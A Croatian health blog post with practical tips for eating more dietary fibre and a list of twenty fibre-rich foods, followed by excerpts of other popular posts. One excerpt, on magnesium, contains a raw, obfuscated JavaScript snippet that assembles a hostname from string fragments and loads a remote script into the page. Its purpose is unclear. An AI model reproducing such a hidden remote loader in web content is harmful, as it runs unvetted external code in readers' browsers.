KAKO BEZ MUKE POJESTI DOVOLJNO VLAKANA SVAKI DAN?




Kako bez muke pojesti dovoljno vlakana svaki dan?



Vlakna su vrsta ugljikohidrata koje naš organizam ne može probaviti. Umjesto da se razgrade i apsorbiraju, ona prolaze kroz probavni sustav i pritom pomažu njegovu pravilnom funkcioniranju.




Kako najlakše unijeti dovoljno vlakana?

Ne morate potpuno mijenjati prehranu – često su dovoljne male, pametne zamjene.


1. Započnite dan pametno

Zamijenite bijeli kruh ili peciva zobenom kašom, integralnim kruhom ili chia pudingom.


2. Uvedite više voća i povrća

Ciljajte na barem pet porcija dnevno. Primjerice:

  • jabuka ili kruška kao međuobrok
  • povrće uz svaki glavni obrok

3. Birajte cjelovite žitarice

Umjesto bijele riže i tjestenine, birajte integralne varijante.


4. Ne zaboravite mahunarke

Leća, slanutak i grah pravi su mali heroji vlakana – ubacite ih u juhe, salate ili variva.


5. Dodajte orašaste plodove i sjemenke

Šaka badema, oraha ili žlica lanenih sjemenki lako podiže unos vlakana.


6. Čitajte deklaracije

Namirnice s više vlakana često su jasno označene - ciljajte na barem 3 grama vlakana po porciji.


Mali trikovi koji čine veliku razliku

  1. Jedite voće s korom (kad god je moguće)
  2. Dodajte povrće u jela gdje ga inače ne biste stavili (npr. u umake)
  3. Povećavajte unos vlakana postupno – nagle promjene mogu izazvati nadutost
  4. Pijte dovoljno vode – vlakna najbolje djeluju uz dobru hidrataciju

 Kako bismo vam dodatno olakšali svakodnevni unos vlakana, u nastavku donosimo i popis namirnica bogatih vlaknima u koji možete zaviriti svaki put kada vam ponestane ideja što jesti.


20 namirnica bogatih vlaknima:

  1. Zobene pahuljice
  2. Chia sjemenke
  3. Lanene sjemenke
  4. Leća
  5. Slanutak
  6. Crni grah
  7. Bijeli grah
  8. Batat
  9. Brokula
  10. Mrkva
  11. Artičoka
  12. Avokado
  13. Maline
  14. Kruške (s korom)
  15. Jabuke (s korom)
  16. Suhe smokve
  17. Bademi
  18. Integralna riža
  19. Kvinoja
  20. Integralni kruh

Ove namirnice možete kombinirati kroz dan - primjerice zob za doručak, mahunarke za ručak i voće ili orašaste plodove za međuobrok - i bez problema ćete dosegnuti preporučeni dnevni unos vlakana.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više